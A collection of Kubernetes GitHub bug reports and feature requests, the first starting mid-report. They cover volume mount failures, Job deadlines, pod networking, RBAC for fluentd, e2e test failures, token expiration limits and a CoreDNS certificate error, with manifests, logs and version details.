/var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6\r    \r \r then, a pod started working as follows:\r    \r ount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 does not exist\r   warning  failedmount  4m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  unable to mount volumes for pod \ rdist-postcommit-build-pod_jenkins f4690f77-e58f-11e8-b8ff-022fa366068e \ : timeout expired waiting for volumes to attach or mount for pod \ jenkins\ /\ rdist-postcommit-build-pod\ . list of unmounted volumes= cargo-cache . list of unattached volumes= cargo-cache default-token-h4bx5 \r   warning  failedmount  4m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal   combined from similar events : mountvolume.setup failed for volume \ pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\r output: running scope as unit run-r8642deda295d41ce864a9380bfafedd4.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 does not exist\r   normal  pulling  2m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  pulling image \ docker-hub.coupang.net/price/rdist/build-env:nightly-2018-08-24\ \r   normal  pulled   2m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  successfully pulled image \ docker-hub.coupang.net/price/rdist/build-env:nightly-2018-08-24\ \r   normal  created  2m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  created container\r   normal  started  2m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  started container\r    \r \r here are my storage class, pvc and pod.\r \r gp2.yaml\r    \r allowvolumeexpansion: true\r allowedtopologies:\r - matchlabelexpressions:\r   - key: failure-domain.beta.kubernetes.io/zone\r     values:\r     - ap-northeast-2a\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ allowvolumeexpansion\ :true,\ allowedtopologies\ : {\ matchlabelexpressions\ : {\ key\ :\ failure-domain.beta.kubernetes.io/zone\ ,\ values\ : \ ap-northeast-2a\  } } ,\ apiversion\ :\ storage.k8s.io/v1\ ,\ kind\ :\ storageclass\ ,\ metadata\ :{\ annotations\ :{\ storageclass.kubernetes.io/is-default-class\ :\ true\ },\ labels\ :{\ failure-domain.beta.kubernetes.io/region\ :\ ap-northeast-2\ ,\ failure-domain.beta.kubernetes.io/zone\ :\ ap-northeast-2a\ },\ name\ :\ gp2\ ,\ namespace\ :\ \ },\ parameters\ :{\ fstype\ :\ ext4\ ,\ type\ :\ gp2\ },\ provisioner\ :\ kubernetes.io/aws-ebs\ ,\ reclaimpolicy\ :\ delete\ ,\ volumebindingmode\ :\ waitforfirstconsumer\ }\r     storageclass.kubernetes.io/is-default-class: \ true\ \r   creationtimestamp: 2018-11-08t01:53:25z\r   labels:\r     failure-domain.beta.kubernetes.io/region: ap-northeast-2\r     failure-domain.beta.kubernetes.io/zone: ap-northeast-2a\r   name: gp2\r   resourceversion: \ 88861\ \r   selflink: /apis/storage.k8s.io/v1/storageclasses/gp2\r   uid: 14524f36-e2f9-11e8-b06d-022fa366068e\r parameters:\r   fstype: ext4\r   type: gp2\r provisioner: kubernetes.io/aws-ebs\r reclaimpolicy: delete\r volumebindingmode: waitforfirstconsumer\r    \r \r pv.yaml\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: cache-rdist-build-postcommit-cargo\r   namespace: jenkins\r   labels:\r     type: gp2\r     failure-domain.beta.kubernetes.io/region: ap-northeast-2\r     failure-domain.beta.kubernetes.io/zone: ap-northeast-2a\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r    \r \r pod.yaml\r    \r kind: pod\r apiversion: v1\r metadata:\r   name: rdist-postcommit-build-pod\r   namespace: jenkins\r spec:\r   volumes:\r   - name: cargo-cache\r     persistentvolumeclaim:\r       claimname: cache-rdist-build-postcommit-cargo\r   containers:\r   - name: rdist-build-env\r     image: xxxxx/rdist/build-env:nightly-2018-08-24\r     imagepullpolicy: always\r     command:  'cat' \r     tty: true\r     volumemounts:\r     - mountpath: \ /root/.cargo\ \r       name: cargo-cache\r    \r \r is this a known bug?\r \r   what you expected to happen  :\r \r the volume should be mounted to the host and eventually the volume should be mounted to a container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i've attached the storage class, pv, pod manifests. you can reproduce 'kubectl create -f .' under a directory including the above three files.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-05-12t04:12:12z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r   aws, t2.medium\r \r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-10-211-108-192 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r   kubectl, kubelet, kubeadm\r \r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r sometimes we found there are some errors which are from docker error, but we cannot find it easily.\r can we add an api for runtime-healthy in kubelet?\r we can check if  the docker is heath by kubelet's  /runtime-healthy  api.\r just like kubelet's   /healthz \r   why is this needed  :\r we can check runtime docker   healthz.\r and if kubelet finds some inner error about docker or other runtime ,it can expose the error by this api\r <!-- do not edit below this line -->\r 

as per the k8s.io document if we specify activedeadlineseconds then jobs and pods should terminate\r https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/ job-termination-and-cleanup\r \r   steps to reproduce  :\r create a job using below template\r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: pi-with-timeout\r spec:\r   backofflimit: 5\r   activedeadlineseconds: 700\r   template:\r     spec:\r       containers:\r       - name: pi\r         image: perl\r         command:  \ perl\ ,  \ -mbignum=bpi\ , \ -wle\ , \ print bpi 2000 \  \r       restartpolicy: never\r    \r \r so according to the doc after 700s both job and pods should terminate but its not working as per the doc.\r \r   current behavior  :\r jobs and pods exist even after exceeding activedeadlineseconds. \r \r   expected behavior  :\r both job and pods should terminate after reaching activedeadlineseconds.\r \r   environment  :\r - kubernetes version : v1.13.0\r - cloud provider or hardware configuration: openstack\r - os : 16.04.5 ubuntu \r - kernel : 4.4.0-133-generic\r - install tools: kubeadm\r \r <!-- do not edit below this line -->\r  

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r kubelet self labels the node with os/arch, etc. the labeling was added backed in 1.3. it's time to promote the labels.\r    \r labelos   = \ beta.kubernetes.io/os\ \r labelarch = \ beta.kubernetes.io/arch\ \r    \r \r   why is this needed  :\r this feature has already been used in multiple places to help schedule pods onto the right nodes.\r \r for the transition, kubelet will need to label itself with both the beta and the ga label to handle the master-node version skew for a few releases.\r \r /cc @kubernetes/sig-node-feature-requests @dchen1107 @derekwaynecarr @liggitt @luxas  \r /cc @patricklang @pjh @mtaufen

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-etcd3/497/  failed:  k8s.io  resourcequota should create a resourcequota and capture the life of a persistent volume claim. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:306 expected error:     < errors.errorstring | 0xc8204515c0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:295

kubernetes version    use  kubectl version  :\r    client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r gke, n1-standard-4 nodes\r \r -   os    e.g. from /etc/os-release :\r    build_id=8872.26.0\r name=\ container-vm image\ \r google_crash_id=lakitu\r version_id=55\r bug_report_url=https://crbug.com/new\r pretty_name=\ google container-vm image\ \r version=55\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=gci\r    \r \r -   kernel    e.g.  uname -a  :\r linux gke-arb3-dev-default-pool-2abbee48-12yv 4.4.21+  1 smp wed oct 26 13:00:52 pdt 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r \r -   install tools  :\r n/a  since it's gke \r \r -   others  :\r none\r \r   what happened  :\r a few of our nodes got into a state where any pods scheduled on them have no network access. this manifests as being unable to ping anything  whether it be another pod ip, a vm private ip, or google.com's ip . using tcp dump, i'm able to see the packets arrive at the destination, which sends a return packet. on the node that the problem is occurring, the return packet does arrive but is not seen by the pod.\r \r this is a tcp dump from the vm:\r    \r 06:22:58.197298 ip 192.168.0.32 > 216.58.195.238: icmp echo request, id 117, seq 6, length 64\r 06:22:58.232518 ip 216.58.195.238 > 192.168.0.32: icmp echo reply, id 117, seq 6, length 64\r 06:22:59.197318 ip 192.168.0.32 > 216.58.195.238: icmp echo request, id 117, seq 7, length 64\r 06:22:59.232595 ip 216.58.195.238 > 192.168.0.32: icmp echo reply, id 117, seq 7, length 64\r 06:23:00.197272 ip 192.168.0.32 > 216.58.195.238: icmp echo request, id 117, seq 8, length 64\r \r    \r this is the ping that generated those tcp dump packets, from a pod:\r    \r root@wavefront-push-agent-2800521060-b5rxj:/  ping 216.58.195.238\r ping 216.58.195.238  216.58.195.238  56 84  bytes of data.\r ^c\r --- 216.58.195.238 ping statistics ---\r 19 packets transmitted, 0 received, 100% packet loss, time 17999ms\r \r    \r \r rebooting the vm does fix it, at least temporarily. i've tried rebooting the kube-proxy with no luck.\r \r as far as i can tell, the iptables nat rules are correct but i don't fully understand them so hard to say if there is a subtle issue. at the very least, the nat table is not empty.\r \r the output of \ docker network inspect\  for all 3 networks seems to be identical to a healthy node, and the pods are in the same networks  kube-proxy is in bridge, everything else is in \ none\  \r \r \r   what you expected to happen  :\r i expect the pod to have network access as it normally does.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r i don't know how it gets into this state, but it has happened on multiple occasions to us.\r \r   anything else do we need to know  :\r i've contacted google cloud support and he was stumped and suggested asking here. i've also asked in the kubernetes slack but got no responses.\r

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:30:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r - minikube\r \r   what happened  :\r \r environment variable interpolation  $    does not work with exec probes.\r \r   what you expected to happen  :\r \r environment variables would be interpolated like they are for container commands.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r here is a snippet of a failing probe:\r \r    \r     - name: mysql\r       image: mysql\r       imagepullpolicy: ifnotpresent\r       ports:\r         - containerport: 3306\r           protocol: tcp\r       env:\r         - name: mysql_root_password\r           value: kubernetes\r         - name: mysql_database\r           value: foo\r       livenessprobe:\r         tcpsocket:\r           port: 3306\r         initialdelayseconds: 5\r         timeoutseconds: 1\r       readinessprobe:\r         exec:\r           command:\r             - \ mysql\ \r             - \ --password=$ mysql_root_password \ \r             - \ -d\ \r             - \ $ mysql_database \ \r             - \ -e\ \r             - \ show tables;\ \r    \r \r replacing the  $    with hard coded values makes the probe pass.\r \r   anything else we need to know  :\r \r if environment variables are not supported then i'm happy to make a pr to update the docs.\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2265/ failed:  k8s.io  projected should update annotations on modification  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:907 timed out after 120.000s. expected     <string>: content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2017-02-27t11:35:32.940892221z\      kubernetes.io/config.source=\ api\       to contain substring     <string>: builder=\ foo\       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:906

the coreos blog for kubernetes upgrades stated that we should put a ha cluster into read-only mode before doing the upgrade: https://coreos.com/blog/migrating-applications-etcd-v3.html\r \r but the upgrade docs do not reference this: https://coreos.com/etcd/docs/latest/upgrades/upgrade_3_0.html\r \r can we confirm that we do not need to go read-only during a etcd2 -> etcd3 upgrade, and that we have e2e test coverage that writing to a ha cluster during an etcd2 -> etcd3 upgrade is not problematic?

kubernetes version    use  kubectl version  : 1.6.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : kops ubuntu\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  : i was trying to rerun my fluentd yamls on a newly minted kops-managed cluster and my fluentd ds pods were flapping. turns out they use a service account to scan for namespaces and pods. i spent some time figuring out what rules it needs and i want to have a discussion here for their suitability.\r \r \r   what you expected to happen  : i expected things to blow up when upgrading.\r \r \r   how to reproduce it    as minimally and precisely as possible : run the current fluentd yamls against a 1.6.1 cluster.\r \r \r   anything else we need to know  :\r \r what do people think of this clusterrole/clusterrolebinding config for enabling a fluentd daemonset?\r \r    \r ---\r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   namespace: logs\r   name: fluentd-role\r rules:\r - apigroups:  \ \     \ \  indicates the core api group\r   resources:  \ pods\ , \ namespaces\  \r   verbs:  \ get\ , \ watch\ , \ list\  \r ---\r   this role binding allows \ system:serviceaccount:logs:default\  to read pods in the \ default\  namespace.\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: fluentd-service-account\r   namespace: logs\r subjects:\r - kind: serviceaccount\r   name: default\r   namespace: logs\r roleref:\r   kind: clusterrole\r   name: fluentd-role\r   apigroup: rbac.authorization.k8s.io\r    \r

in https://github.com/kubernetes/kubernetes/blob/master/pkg/master/master.go l384,\r    \r admissionregistrationv1alpha1.schemegroupversion,\r rbacv1alpha1.schemegroupversion,\r settingv1alpha1.schemegroupversion,\r    \r these alpha versions are enabled by default, is it intentional?\r \r i can answer for admissionregistration, it's not intentional.\r cc @liggitt for rbac\r cc @pwittrock for setting\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r \r   what happened  :\r \r while working on pr  48630, deepcopy did not update auto-generated files at all places. \r \r after updating the  gengo  vendor directory, i did a  ./hack/update-codegen.sh  which only updated _some_ of the deepcopy files. this made tests fail  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48630/pull-kubernetes-verify/38489/ . \r \r later, i removed the files where the ci complained and auto-generated again using make. this updated the other files too.  https://github.com/kubernetes/kubernetes/pull/48630/commits/38ac8a2eb610848064a8f780db6315f86a8312c2 \r \r   what you expected to happen  :\r \r running   ./hack/update-codegen.sh  should update the auto-generated files at all places where it is necessary.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this does not seem to be reproducible always. but to reproduce it, please follow the steps mentioned in the description above.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.823+a57c33bd281732\ , gitcommit:\ a57c33bd2817323806b97da5c2f848108f7403d8\ , gittreestate:\ clean\ , builddate:\ 2017-06-19t02:15:29z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 14.04.4 lts, trusty tahr\ \r    \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r godep version:\r \r    \r godep v79  linux/amd64/go1.8.1 \r

failure cluster  ab3c21b03d3164bc51cc  https://go.k8s.io/triage ab3c21b03d3164bc51cc        error text:     /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/density_test.go:109 expected error:     < errors.errorstring | 0xc42126dee0>: {         s: \ too high pod startup latency 50th percentile: 19.130808517s\ ,     }     too high pod startup latency 50th percentile: 19.130808517s not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/density_test.go:558           failure cluster statistics: 2 tests failed,    7 jobs failed,    56 builds failed. failure stats cover 1 day time range '29 oct 2017 01:38 utc' to '30 oct 2017 01:38 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  density  serial   slow  create a batch of pods latency/resource should be within limit when create 10 pods with 0s interval | 6 | |  k8s.io  density  serial   slow  create a sequence of pods latency/resource should be within limit when create 10 pods with 50 background pods | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2enode-ubuntudev-k8sdev-serial | 11 |  29 oct 2017 23:10 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-ubuntudev-k8sdev-serial/1722  | | ci-kubernetes-e2enode-ubuntustable1-k8sdev-serial | 11 |  29 oct 2017 23:09 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-ubuntustable1-k8sdev-serial/1540  | | ci-kubernetes-e2e-gce-ubuntu-node-serial | 10 |  29 oct 2017 23:10 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntu-node-serial/2156  |  /assign @apelisse @wojtek-t  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | wojtek-t |  k8s.io  density  serial   slow  create a sequence of pods latency/resource should be within limit when create 10 pods with 50 background pods | | apelisse |  k8s.io  density  serial   slow  create a batch of pods latency/resource should be within limit when create 10 pods with 0s interval | | sig/scalability |  k8s.io  density  serial   slow  create a batch of pods latency/resource should be within limit when create 10 pods with 0s interval;  k8s.io  density  serial   slow  create a sequence of pods latency/resource should be within limit when create 10 pods with 50 background pods |  </details><br>   current status  https://go.k8s.io/triage ab3c21b03d3164bc51cc

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i checked the  official documentation  https://kubernetes.io/docs/reference/generated/kube-apiserver/  for the command line switches of  kube-apiserver .  i know that there is such a switch  --v , but it does not get documented there.\r \r   what you expected to happen  :\r \r that official documentation should be complete, as far as command line switches is concerned.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r look at  documentation  https://kubernetes.io/docs/reference/generated/kube-apiserver/ .\r \r   how to reproduce  somewhat more elaborated and slightly speculatively :  \r \r   run  build/run.sh make  as suggested in the  build instructions  https://github.com/kubernetes/kubernetes/blob/b97e17603b76edf7344f49a7632b1f764d5386e6/build/readme.md \r   run  mkdir /tmp/foo  and  cd _output/dockerized/bin/linux/amd64 && ./genkubedocs /tmp/foo kube-apiserver \r \r result seen: the resulting  /tmp/foo/kube-apiserver.md  is also lacking the documentation for  --v , after doing the above on v1.8.5 aka  cce11c6a18 .\r \r  i assume, but i am not absolutely sure, that this is how the web site documentation is produced. \r \r   anything else we need to know?  :\r \r      related bug\r \r i filed this  as bug 6571  https://github.com/kubernetes/website/issues/6571  in  kubernetes/website  and they asked me to file it here, too.\r \r      command line documentation is ok\r \r when one runs  kube-apiserver --help , the  --v  switch is documented as expected.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r a new api tokenrequest has been implemented.it improves current serviceaccount model from many ways.https://github.com/kubernetes/kubernetes/issues/58790\r i think we need some kind measure to limit the range of token expiration.\r try to imagine two cases:\r 1. user requests a token with extreme short-expiration, say 1s. then token rotation will be triggered every second which is unacceptable\r 2. user requests a token with extreme long-expiration, say 100 years. it is almost  permanent．\r \r so i think we need some kind of mechanism to limit the range of token expiration time.\r from my point of view,  i can think tow ways to implement.\r 1. add a option to api-server, it controls the range of all token request through the cluster.\r 2. add an attribute to serviceaccount object, it controls only its own token request.\r

 \r   what happened  :\r coredns fails to start after deploying sdn\r \r $ kubectl -n kube-system get pods\r name                                        ready   status              restarts    age\r calico-kube-controllers-b49d9b875-6lmqx     1/1     running             0           15m\r calico-node-895fq                           2/2     running             0           15m\r calico-node-xjqvk                           2/2     running             0           15m\r coredns-78fcdf6894-2ztj2                    0/1     containercreating   0           1h\r coredns-78fcdf6894-xp7nm                    0/1     containercreating   0           1h\r kube-apiserver-master001                    1/1     running             0           42m\r kube-controller-manager-master001           1/1     running             0           42m\r kube-proxy-h6lcr                            1/1     running             0           1h\r kube-scheduler-master001                    1/1     running             0           42m\r \r kubelet log indicates certificate error:\r x509: cannot validate certificate for 10.96.0.1 because it doesn't contain any ip sans\r \r aug 07 18:37:24 master002 kubelet 41596 : e0807 18:37:24.905037   41596 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to set up sandbox container \ c66b2189f960390c6d699851526941bb9ae43cc14f43301a8f7b7741e09153b9\  network for pod \ coredns-78fcdf6894-2ztj2\ : networkplugin cni failed to set up pod \ coredns-78fcdf6894-2ztj2_kube-system\  network: get https:// 10.96.0.1 :443/api/v1/namespaces/kube-system/pods/coredns-78fcdf6894-2ztj2: x509: cannot validate certificate for 10.96.0.1 because it doesn't contain any ip sans\r \r aug 07 18:37:24 master002 kubelet 41596 : e0807 18:37:24.905090   41596 kuberuntime_sandbox.go:56  createpodsandbox for pod \ coredns-78fcdf6894-2ztj2_kube-system c0ee3e75-9a87-11e8-82b5-00530c0067fa \  failed: rpc error: code = unknown desc = failed to set up sandbox container \ c66b2189f960390c6d699851526941bb9ae43cc14f43301a8f7b7741e09153b9\  network for pod \ coredns-78fcdf6894-2ztj2\ : networkplugin cni failed to set up pod \ coredns-78fcdf6894-2ztj2_kube-system\  network: get https:// 10.96.0.1 :443/api/v1/namespaces/kube-system/pods/coredns-78fcdf6894-2ztj2: x509: cannot validate certificate for 10.96.0.1 because it doesn't contain any ip sans\r \r aug 07 18:37:24 master002 kubelet 41596 : e0807 18:37:24.905106   41596 kuberuntime_manager.go:646  createpodsandbox for pod \ coredns-78fcdf6894-2ztj2_kube-system c0ee3e75-9a87-11e8-82b5-00530c0067fa \  failed: rpc error: code = unknown desc = failed to set up sandbox container \ c66b2189f960390c6d699851526941bb9ae43cc14f43301a8f7b7741e09153b9\  network for pod \ coredns-78fcdf6894-2ztj2\ : networkplugin cni failed to set up pod \ coredns-78fcdf6894-2ztj2_kube-system\  network: get https:// 10.96.0.1 :443/api/v1/namespaces/kube-system/pods/coredns-78fcdf6894-2ztj2: x509: cannot validate certificate for 10.96.0.1 because it doesn't contain any ip sans\r \r aug 07 18:37:24 master002 kubelet 41596 : e0807 18:37:24.905175   41596 pod_workers.go:186  error syncing pod c0ee3e75-9a87-11e8-82b5-00530c0067fa  \ coredns-78fcdf6894-2ztj2_kube-system c0ee3e75-9a87-11e8-82b5-00530c0067fa \  , skipping: failed to \ createpodsandbox\  for \ coredns-78fcdf6894-2ztj2_kube-system c0ee3e75-9a87-11e8-82b5-00530c0067fa \  with createpodsandboxerror: \ createpodsandbox for pod \\\ coredns-78fcdf6894-2ztj2_kube-system c0ee3e75-9a87-11e8-82b5-00530c0067fa \\\  failed: rpc error: code = unknown desc = failed to set up sandbox container \\\ c66b2189f960390c6d699851526941bb9ae43cc14f43301a8f7b7741e09153b9\\\  network for pod \\\ coredns-78fcdf6894-2ztj2\\\ : networkplugin cni failed to set up pod \\\ coredns-78fcdf6894-2ztj2_kube-system\\\  network: get https:// 10.96.0.1 :443/api/v1/namespaces/kube-system/pods/coredns-78fcdf6894-2ztj2: x509: cannot validate certificate for 10.96.0.1 because it doesn't contain any ip sans\ \r \r this appears to be a similar problem to issue:\r https://github.com/kubernetes/kubernetes/issues/62939\r \r adding cert args to kubelet does not solve the problem:\r --tls-cert-file=/etc/kubernetes/pki/apiserver.crt \r --tls-private-key-file=/etc/kubernetes/pki/apiserver.key\r \r   what you expected to happen  :\r coredns container should reach ready status\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create etcd cluster with tls\r 2. kubeadm init --config /etc/kubernetes/k8s_config.yaml  master001 \r 3. copy certs to master002 node\r 4. kubeadm init --config /etc/kubernetes/k8s_config.yaml  master002 \r 3. deploy calico\r \r   anything else we need to know?  :\r \r kubeadm config  fqdn :4242 is nginx load balancer endpoint :\r apiversion: kubeadm.k8s.io/v1alpha2\r kind: masterconfiguration\r kubernetesversion: v1.11.0\r apiservercertsans:\r - \ fqdn\ \r api:\r     controlplaneendpoint: \ fqdn:4242\ \r etcd:\r     external:\r         endpoints:\r         - https://xx.xxx.xxx.176:2379\r         - https://xx.xxx.xxx.177:2379\r         - https://xx.xxx.xxx.178:2379\r         cafile: /etc/kubernetes/pki/etcd/ca.crt\r         certfile: /etc/kubernetes/pki/apiserver-etcd-client.crt\r         keyfile: /etc/kubernetes/pki/apiserver-etcd-client.key\r networking:\r     podsubnet: 192.168.0.0/16\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r linux 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

